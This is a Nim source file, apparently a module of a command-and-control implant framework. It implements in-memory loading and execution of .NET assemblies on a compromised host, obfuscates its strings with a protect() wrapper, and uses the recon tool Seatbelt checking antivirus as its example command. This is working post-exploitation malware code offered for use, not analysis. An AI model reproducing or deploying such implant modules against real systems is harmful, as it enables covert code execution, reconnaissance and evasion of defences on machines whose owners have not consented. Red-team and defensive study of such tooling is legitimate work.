70 lines
2.8 KiB
Nim
70 lines
2.8 KiB
Nim
import ../common/[types, utils]
|
|
|
|
# Define function prototype
|
|
proc executeAssembly(ctx: AgentCtx, task: Task): TaskResult
|
|
|
|
# Module definition
|
|
let module* = Module(
|
|
name: protect("dotnet"),
|
|
description: protect("Load and execute .NET assemblies in memory."),
|
|
moduleType: MODULE_DOTNET,
|
|
commands: @[
|
|
Command(
|
|
name: protect("dotnet"),
|
|
commandType: CMD_DOTNET,
|
|
description: protect("Execute a .NET assembly in memory and retrieve the output."),
|
|
example: protect("dotnet /path/to/Seatbelt.exe antivirus"),
|
|
arguments: @[
|
|
Argument(name: protect("path"), description: protect("Path to the .NET assembly file to execute."), argumentType: BINARY, isRequired: true),
|
|
Argument(name: protect("arguments"), description: protect("Arguments to be passed to the assembly. Arguments are handled as STRING"), argumentType: STRING, isRequired: false)
|
|
],
|
|
execute: executeAssembly
|
|
)
|
|
]
|
|
)
|
|
|
|
# Implement execution functions
|
|
when not defined(agent):
|
|
proc executeAssembly(ctx: AgentCtx, task: Task): TaskResult = nil
|
|
|
|
when defined(agent):
|
|
|
|
import strutils, strformat
|
|
import ../agent/core/clr
|
|
import ../agent/utils/io
|
|
import ../agent/protocol/result
|
|
import ../common/[utils, serialize]
|
|
|
|
proc executeAssembly(ctx: AgentCtx, task: Task): TaskResult =
|
|
try:
|
|
var
|
|
assembly: seq[byte]
|
|
arguments: seq[string]
|
|
|
|
# Parse arguments
|
|
case int(task.argCount):
|
|
of 1: # Only the assembly has been passed as an argument
|
|
assembly = task.args[0].data
|
|
arguments = @[]
|
|
else: # Parameters were passed to the BOF execution
|
|
assembly = task.args[0].data
|
|
for arg in task.args[1..^1]:
|
|
arguments.add(Bytes.toString(arg.data))
|
|
|
|
# Unpacking assembly file, since it contains the file name too.
|
|
var unpacker = Unpacker.init(Bytes.toString(assembly))
|
|
let
|
|
fileName = unpacker.getDataWithLengthPrefix()
|
|
assemblyBytes = unpacker.getDataWithLengthPrefix()
|
|
|
|
print fmt" [>] Executing .NET assembly {fileName}."
|
|
let (assemblyInfo, output) = dotnetInlineExecuteGetOutput(string.toBytes(assemblyBytes), arguments)
|
|
|
|
if output != "":
|
|
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(assemblyInfo & "\n" & output))
|
|
else:
|
|
return createTaskResult(task, STATUS_FAILED, RESULT_NO_OUTPUT, @[])
|
|
|
|
except CatchableError as err:
|
|
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|